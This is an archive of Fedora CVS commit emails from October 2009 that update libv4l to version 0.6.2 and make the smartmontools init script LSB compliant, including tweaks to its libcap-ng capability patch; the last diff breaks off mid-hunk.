Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	1 Sep 2009 08:07:13 -0000	1.20
+++ .cvsignore	9 Oct 2009 08:48:54 -0000	1.21
@@ -1 +1 @@
-libv4l-0.6.1.tar.gz
+libv4l-0.6.2.tar.gz


Index: libv4l.spec
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-12/libv4l.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- libv4l.spec	1 Sep 2009 08:07:13 -0000	1.21
+++ libv4l.spec	9 Oct 2009 08:48:54 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           libv4l
-Version:        0.6.1
+Version:        0.6.2
 Release:        1%{?dist}
 Summary:        Collection of video4linux support libraries 
 Group:          System Environment/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
+- New upstream release 0.6.2
+
 * Tue Sep  1 2009 Hans de Goede <hdegoede at redhat.com> 0.6.1-1
 - New upstream release 0.6.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-12/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	1 Sep 2009 08:07:14 -0000	1.20
+++ sources	9 Oct 2009 08:48:54 -0000	1.21
@@ -1 +1 @@
-0d0d96d77c98871d2e5466c10cb30a0a  libv4l-0.6.1.tar.gz
+06689b91a356f6c0df0471eabc8221ca  libv4l-0.6.2.tar.gz



From mhlavink at fedoraproject.org  Fri Oct  9 09:02:27 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 09:02:27 +0000 (UTC)
Subject: rpms/smartmontools/devel smartd.initd, 1.7,
	1.8 smartmontools-5.38-lowcap.patch, 1.6, 1.7 smartmontools.spec,
	1.61, 1.62
Message-ID: <20091009090227.81ED511C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20266

Modified Files:
	smartd.initd smartmontools-5.38-lowcap.patch 
	smartmontools.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-19
- make init script lsb compliant (#528016)



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartd.initd,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- smartd.initd	12 May 2008 10:17:58 -0000	1.7
+++ smartd.initd	9 Oct 2009 09:02:24 -0000	1.8
@@ -46,9 +46,13 @@ SMARTD_BIN=/usr/sbin/smartd
 RETVAL=0
 prog=smartd
 pidfile=/var/lock/subsys/smartd
+config=/etc/smartd.conf
 
 start()
 {
+        [ $UID -eq 0 ] || exit 4
+        [ -x $SMARTD_BIN ] || exit 5
+        [ -f $config ] || exit 6
 	echo -n $"Starting $prog: "
 	daemon $SMARTD_BIN $smartd_opts
 	RETVAL=$?
@@ -59,6 +63,7 @@ start()
 
 stop()
 {
+        [ $UID -eq 0 ] || exit 4
 	echo -n $"Shutting down $prog: "
 	killproc $SMARTD_BIN
 	RETVAL=$?
@@ -102,7 +107,7 @@ case "$1" in
 		stop
 		start
 		;;
-	try-restart)
+	condrestart|try-restart)
 		if [ -f $pidfile ]; then
 			stop
 			start
@@ -116,8 +121,9 @@ case "$1" in
 		RETVAL=$?
 		;;
 	*)
-		echo $"Usage: $0 {start|stop|reload|force-reload|report|restart|try-restart|status}"
-		RETVAL=3
+		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
+		RETVAL=2
+		[ $1 = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL

smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   57 +++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 4 files changed, 96 insertions(+), 3 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- smartmontools-5.38-lowcap.patch	5 Oct 2009 13:47:05 -0000	1.6
+++ smartmontools-5.38-lowcap.patch	9 Oct 2009 09:02:24 -0000	1.7
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:45:16.419171091 +0200
-+++ smartmontools-5.38/configure.in	2009-10-05 15:45:16.425170899 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-09 10:19:22.395700024 +0200
++++ smartmontools-5.38/configure.in	2009-10-09 10:19:22.431698988 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-05 15:45:16.426170991 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-09 10:19:22.434699065 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,7 +56,7 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
-+++ smartmontools-5.38/smartd.8.in	2009-10-05 15:46:16.711483245 +0200
++++ smartmontools-5.38/smartd.8.in	2009-10-09 10:19:22.439699030 +0200
 @@ -145,6 +145,12 @@ input. This is useful for commands like:
  to perform quick and simple checks without a configuration file.
  
@@ -71,8 +71,8 @@ diff -up smartmontools-5.38/smartd.8.in.
  Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
  information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:45:16.412170973 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-05 15:45:16.434170827 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-09 10:19:22.312699527 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-09 10:43:45.294698988 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -134,15 +134,26 @@ diff -up smartmontools-5.38/smartd.cpp.l
    PrintOut(LOG_INFO,"  -V         Print License, Copyright, and version information\n");
  #endif
  }
-@@ -3890,6 +3916,7 @@ void ParseOpts(int argc, char **argv){
+@@ -3866,7 +3892,7 @@ void ParseOpts(int argc, char **argv){
+   char *tailptr;
+   long lchecktime;
+   // Please update GetValidArgList() if you edit shortopts
+-  const char *shortopts = "c:l:q:dDni:p:r:Vh?";
++  const char *shortopts = "c:l:q:dDni:p:r:VCh?";
+ #ifdef HAVE_GETOPT_LONG
+   char *arg;
+   // Please update GetValidArgList() if you edit longopts
+@@ -3890,6 +3916,9 @@ void ParseOpts(int argc, char **argv){
      { "copyright",      no_argument,       0, 'V' },
      { "help",           no_argument,       0, 'h' },
      { "usage",          no_argument,       0, 'h' },
++#ifdef HAVE_LIBCAP_NG
 +    { "usecapabilities",no_argument,       0, 'C' },
++#endif
      { 0,                0,                 0, 0   }
    };
  #endif
-@@ -4030,6 +4057,12 @@ void ParseOpts(int argc, char **argv){
+@@ -4030,6 +4059,12 @@ void ParseOpts(int argc, char **argv){
        PrintCopyleft();
        EXIT(0);
        break;
@@ -155,7 +166,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
      case 'h':
        // help: print summary of command-line options
        debugmode=1;
-@@ -4408,6 +4441,16 @@ static int smartd_main(int argc, char **
+@@ -4408,6 +4443,16 @@ static int smartd_main(int argc, char **
    
    // don't exit on bad checksums
    con->checksumfail=0;
@@ -172,7 +183,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
    
    // the main loop of the code
    while (1){
-@@ -4482,7 +4525,15 @@ static int smartd_main(int argc, char **
+@@ -4482,7 +4527,15 @@ static int smartd_main(int argc, char **
          PrintTestSchedule(ATAandSCSIdevlist);
          EXIT(0);
        }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- smartmontools.spec	5 Oct 2009 14:01:40 -0000	1.61
+++ smartmontools.spec	9 Oct 2009 09:02:25 -0000	1.62
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	18%{?dist}
+Release: 	19%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -79,6 +79,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-19
+- make init script lsb compliant (#528016)
+
 * Mon Oct 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
 - bump release for rebuild
 



From jwrdegoede at fedoraproject.org  Fri Oct  9 09:05:12 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 09:05:12 +0000 (UTC)
Subject: rpms/libv4l/F-11 .cvsignore, 1.20, 1.21 libv4l.spec, 1.20,
	1.21 sources, 1.20, 1.21
Message-ID: <20091009090512.D159D11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/libv4l/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21272

Modified Files:
	.cvsignore libv4l.spec sources 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
- New upstream release 0.6.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-11/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	1 Sep 2009 08:07:23 -0000	1.20
+++ .cvsignore	9 Oct 2009 09:05:12 -0000	1.21
@@ -1 +1 @@
-libv4l-0.6.1.tar.gz
+libv4l-0.6.2.tar.gz


Index: libv4l.spec
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-11/libv4l.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- libv4l.spec	1 Sep 2009 08:07:23 -0000	1.20
+++ libv4l.spec	9 Oct 2009 09:05:12 -0000	1.21
@@ -1,5 +1,5 @@
 Name:           libv4l
-Version:        0.6.1
+Version:        0.6.2
 Release:        1%{?dist}
 Summary:        Collection of video4linux support libraries 
 Group:          System Environment/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
+- New upstream release 0.6.2
+
 * Tue Sep  1 2009 Hans de Goede <hdegoede at redhat.com> 0.6.1-1
 - New upstream release 0.6.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-11/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	1 Sep 2009 08:07:23 -0000	1.20
+++ sources	9 Oct 2009 09:05:12 -0000	1.21
@@ -1 +1 @@
-0d0d96d77c98871d2e5466c10cb30a0a  libv4l-0.6.1.tar.gz
+06689b91a356f6c0df0471eabc8221ca  libv4l-0.6.2.tar.gz



From mhlavink at fedoraproject.org  Fri Oct  9 09:05:48 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 09:05:48 +0000 (UTC)
Subject: rpms/smartmontools/F-12 smartd.initd, 1.7,
	1.8 smartmontools-5.38-lowcap.patch, 1.4, 1.5 smartmontools.spec,
	1.61, 1.62
Message-ID: <20091009090548.B9B0711C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21463

Modified Files:
	smartd.initd smartmontools-5.38-lowcap.patch 
	smartmontools.spec 
Log Message:
* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-19
- make init script lsb compliant (#528016)



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartd.initd,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- smartd.initd	12 May 2008 10:17:58 -0000	1.7
+++ smartd.initd	9 Oct 2009 09:05:48 -0000	1.8
@@ -46,9 +46,13 @@ SMARTD_BIN=/usr/sbin/smartd
 RETVAL=0
 prog=smartd
 pidfile=/var/lock/subsys/smartd
+config=/etc/smartd.conf
 
 start()
 {
+        [ $UID -eq 0 ] || exit 4
+        [ -x $SMARTD_BIN ] || exit 5
+        [ -f $config ] || exit 6
 	echo -n $"Starting $prog: "
 	daemon $SMARTD_BIN $smartd_opts
 	RETVAL=$?
@@ -59,6 +63,7 @@ start()
 
 stop()
 {
+        [ $UID -eq 0 ] || exit 4
 	echo -n $"Shutting down $prog: "
 	killproc $SMARTD_BIN
 	RETVAL=$?
@@ -102,7 +107,7 @@ case "$1" in
 		stop
 		start
 		;;
-	try-restart)
+	condrestart|try-restart)
 		if [ -f $pidfile ]; then
 			stop
 			start
@@ -116,8 +121,9 @@ case "$1" in
 		RETVAL=$?
 		;;
 	*)
-		echo $"Usage: $0 {start|stop|reload|force-reload|report|restart|try-restart|status}"
-		RETVAL=3
+		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
+		RETVAL=2
+		[ $1 = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL

smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   57 +++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 4 files changed, 96 insertions(+), 3 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- smartmontools-5.38-lowcap.patch	5 Oct 2009 13:58:23 -0000	1.4
+++ smartmontools-5.38-lowcap.patch	9 Oct 2009 09:05:48 -0000	1.5
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:45:16.419171091 +0200
-+++ smartmontools-5.38/configure.in	2009-10-05 15:45:16.425170899 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-09 10:19:22.395700024 +0200
++++ smartmontools-5.38/configure.in	2009-10-09 10:19:22.431698988 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-05 15:45:16.426170991 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-09 10:19:22.434699065 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,7 +56,7 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
-+++ smartmontools-5.38/smartd.8.in	2009-10-05 15:46:16.711483245 +0200
++++ smartmontools-5.38/smartd.8.in	2009-10-09 10:19:22.439699030 +0200
 @@ -145,6 +145,12 @@ input. This is useful for commands like:
  to perform quick and simple checks without a configuration file.
  
@@ -71,8 +71,8 @@ diff -up smartmontools-5.38/smartd.8.in.
  Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
  information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:45:16.412170973 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-05 15:45:16.434170827 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-09 10:19:22.312699527 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-09 10:43:45.294698988 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -134,15 +134,26 @@ diff -up smartmontools-5.38/smartd.cpp.l
    PrintOut(LOG_INFO,"  -V         Print License, Copyright, and version information\n");
  #endif
  }
-@@ -3890,6 +3916,7 @@ void ParseOpts(int argc, char **argv){
+@@ -3866,7 +3892,7 @@ void ParseOpts(int argc, char **argv){
+   char *tailptr;
+   long lchecktime;
+   // Please update GetValidArgList() if you edit shortopts
+-  const char *shortopts = "c:l:q:dDni:p:r:Vh?";
++  const char *shortopts = "c:l:q:dDni:p:r:VCh?";
+ #ifdef HAVE_GETOPT_LONG
+   char *arg;
+   // Please update GetValidArgList() if you edit longopts
+@@ -3890,6 +3916,9 @@ void ParseOpts(int argc, char **argv){
      { "copyright",      no_argument,       0, 'V' },
      { "help",           no_argument,       0, 'h' },
      { "usage",          no_argument,       0, 'h' },
++#ifdef HAVE_LIBCAP_NG
 +    { "usecapabilities",no_argument,       0, 'C' },
++#endif
      { 0,                0,                 0, 0   }
    };
  #endif
-@@ -4030,6 +4057,12 @@ void ParseOpts(int argc, char **argv){
+@@ -4030,6 +4059,12 @@ void ParseOpts(int argc, char **argv){
        PrintCopyleft();
        EXIT(0);
        break;
@@ -155,7 +166,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
      case 'h':
        // help: print summary of command-line options
        debugmode=1;
-@@ -4408,6 +4441,16 @@ static int smartd_main(int argc, char **
+@@ -4408,6 +4443,16 @@ static int smartd_main(int argc, char **
    
    // don't exit on bad checksums
    con->checksumfail=0;
@@ -172,7 +183,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
    
    // the main loop of the code
    while (1){
-@@ -4482,7 +4525,15 @@ static int smartd_main(int argc, char **
+@@ -4482,7 +4527,15 @@ static int smartd_main(int argc, char **
          PrintTestSchedule(ATAandSCSIdevlist);
          EXIT(0);
        }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-12/smartmontools.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- smartmontools.spec	5 Oct 2009 14:00:45 -0000	1.61
+++ smartmontools.spec	9 Oct 2009 09:05:48 -0000	1.62
@@ -1,7 +1,7 @@
 Summary:	Tools for monitoring SMART capable hard disks
 Name:		smartmontools
 Version:	5.38
-Release: 	18%{?dist}
+Release: 	19%{?dist}
 Epoch:		1
 Group:		System Environment/Base
 License:	GPLv2+
@@ -73,12 +73,15 @@ fi
 %doc TODO WARNINGS examplescripts smartd.conf
 %{_sbindir}/smartd
 %{_sbindir}/smartctl
-%{_initrddir}/smartd
+%{_initddir}/smartd
 %{_mandir}/man?/smart*.*
 %config(noreplace) %{_sysconfdir}/smartd.conf
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-19
+- make init script lsb compliant (#528016)
+
 * Mon Oct 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-18
 - bump release for rebuild
 



From jwrdegoede at fedoraproject.org  Fri Oct  9 09:07:20 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 09:07:20 +0000 (UTC)
Subject: rpms/libv4l/F-10 .cvsignore, 1.18, 1.19 libv4l.spec, 1.17,
	1.18 sources, 1.18, 1.19
Message-ID: <20091009090720.926E111C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/libv4l/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22062

Modified Files:
	.cvsignore libv4l.spec sources 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
- New upstream release 0.6.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-10/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	1 Sep 2009 08:08:08 -0000	1.18
+++ .cvsignore	9 Oct 2009 09:07:20 -0000	1.19
@@ -1 +1 @@
-libv4l-0.6.1.tar.gz
+libv4l-0.6.2.tar.gz


Index: libv4l.spec
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-10/libv4l.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- libv4l.spec	1 Sep 2009 08:08:08 -0000	1.17
+++ libv4l.spec	9 Oct 2009 09:07:20 -0000	1.18
@@ -1,5 +1,5 @@
 Name:           libv4l
-Version:        0.6.1
+Version:        0.6.2
 Release:        1%{?dist}
 Summary:        Collection of video4linux support libraries 
 Group:          System Environment/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
+- New upstream release 0.6.2
+
 * Tue Sep  1 2009 Hans de Goede <hdegoede at redhat.com> 0.6.1-1
 - New upstream release 0.6.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libv4l/F-10/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	1 Sep 2009 08:08:09 -0000	1.18
+++ sources	9 Oct 2009 09:07:20 -0000	1.19
@@ -1 +1 @@
-0d0d96d77c98871d2e5466c10cb30a0a  libv4l-0.6.1.tar.gz
+06689b91a356f6c0df0471eabc8221ca  libv4l-0.6.2.tar.gz



From mhlavink at fedoraproject.org  Fri Oct  9 09:11:47 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Fri,  9 Oct 2009 09:11:47 +0000 (UTC)
Subject: rpms/smartmontools/F-11 smartd.initd, 1.7,
	1.8 smartmontools-5.38-lowcap.patch, 1.2, 1.3 smartmontools.spec,
	1.57, 1.58
Message-ID: <20091009091147.F223111C00C1@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24032

Modified Files:
	smartd.initd smartmontools-5.38-lowcap.patch 
	smartmontools.spec 
Log Message:
make init script lsb compliant (#528016)



Index: smartd.initd
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartd.initd,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- smartd.initd	12 May 2008 10:17:58 -0000	1.7
+++ smartd.initd	9 Oct 2009 09:11:47 -0000	1.8
@@ -46,9 +46,13 @@ SMARTD_BIN=/usr/sbin/smartd
 RETVAL=0
 prog=smartd
 pidfile=/var/lock/subsys/smartd
+config=/etc/smartd.conf
 
 start()
 {
+        [ $UID -eq 0 ] || exit 4
+        [ -x $SMARTD_BIN ] || exit 5
+        [ -f $config ] || exit 6
 	echo -n $"Starting $prog: "
 	daemon $SMARTD_BIN $smartd_opts
 	RETVAL=$?
@@ -59,6 +63,7 @@ start()
 
 stop()
 {
+        [ $UID -eq 0 ] || exit 4
 	echo -n $"Shutting down $prog: "
 	killproc $SMARTD_BIN
 	RETVAL=$?
@@ -102,7 +107,7 @@ case "$1" in
 		stop
 		start
 		;;
-	try-restart)
+	condrestart|try-restart)
 		if [ -f $pidfile ]; then
 			stop
 			start
@@ -116,8 +121,9 @@ case "$1" in
 		RETVAL=$?
 		;;
 	*)
-		echo $"Usage: $0 {start|stop|reload|force-reload|report|restart|try-restart|status}"
-		RETVAL=3
+		echo $"Usage: $0 {start|stop|restart|status|condrestart|try-restart|reload|force-reload|report}"
+		RETVAL=2
+		[ $1 = 'usage' ] && RETVAL=0
 esac
 
 exit $RETVAL

smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 +-
 configure.in |   34 ++++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 ++++++
 smartd.cpp   |   57 +++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 4 files changed, 96 insertions(+), 3 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- smartmontools-5.38-lowcap.patch	5 Oct 2009 14:02:21 -0000	1.2
+++ smartmontools-5.38-lowcap.patch	9 Oct 2009 09:11:47 -0000	1.3
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-05 15:45:16.419171091 +0200
-+++ smartmontools-5.38/configure.in	2009-10-05 15:45:16.425170899 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-09 10:19:22.395700024 +0200
++++ smartmontools-5.38/configure.in	2009-10-09 10:19:22.431698988 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-05 15:45:16.426170991 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-09 10:19:22.434699065 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,7 +56,7 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
-+++ smartmontools-5.38/smartd.8.in	2009-10-05 15:46:16.711483245 +0200
++++ smartmontools-5.38/smartd.8.in	2009-10-09 10:19:22.439699030 +0200
 @@ -145,6 +145,12 @@ input. This is useful for commands like:
  to perform quick and simple checks without a configuration file.
  
@@ -71,8 +71,8 @@ diff -up smartmontools-5.38/smartd.8.in.
  Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
  information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-05 15:45:16.412170973 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-05 15:45:16.434170827 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-09 10:19:22.312699527 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-09 10:43:45.294698988 +0200
 @@ -74,6 +74,10 @@ extern "C" int __stdcall FreeConsole(voi
  #include <io.h> // setmode()
  #endif // __CYGWIN__
@@ -134,15 +134,26 @@ diff -up smartmontools-5.38/smartd.cpp.l
    PrintOut(LOG_INFO,"  -V         Print License, Copyright, and version information\n");
  #endif
  }
-@@ -3890,6 +3916,7 @@ void ParseOpts(int argc, char **argv){
+@@ -3866,7 +3892,7 @@ void ParseOpts(int argc, char **argv){
+   char *tailptr;
+   long lchecktime;
+   // Please update GetValidArgList() if you edit shortopts
+-  const char *shortopts = "c:l:q:dDni:p:r:Vh?";
++  const char *shortopts = "c:l:q:dDni:p:r:VCh?";
+ #ifdef HAVE_GETOPT_LONG
+   char *arg;
+   // Please update GetValidArgList() if you edit longopts
+@@ -3890,6 +3916,9 @@ void ParseOpts(int argc, char **argv){
      { "copyright",      no_argument,       0, 'V' },
      { "help",           no_argument,       0, 'h' },
      { "usage",          no_argument,       0, 'h' },
++#ifdef HAVE_LIBCAP_NG
 +    { "usecapabilities",no_argument,       0, 'C' },
++#endif
      { 0,                0,                 0, 0   }
    };
  #endif
-@@ -4030,6 +4057,12 @@ void ParseOpts(int argc, char **argv){
+@@ -4030,6 +4059,12 @@ void ParseOpts(int argc, char **argv){
        PrintCopyleft();
        EXIT(0);
        break;
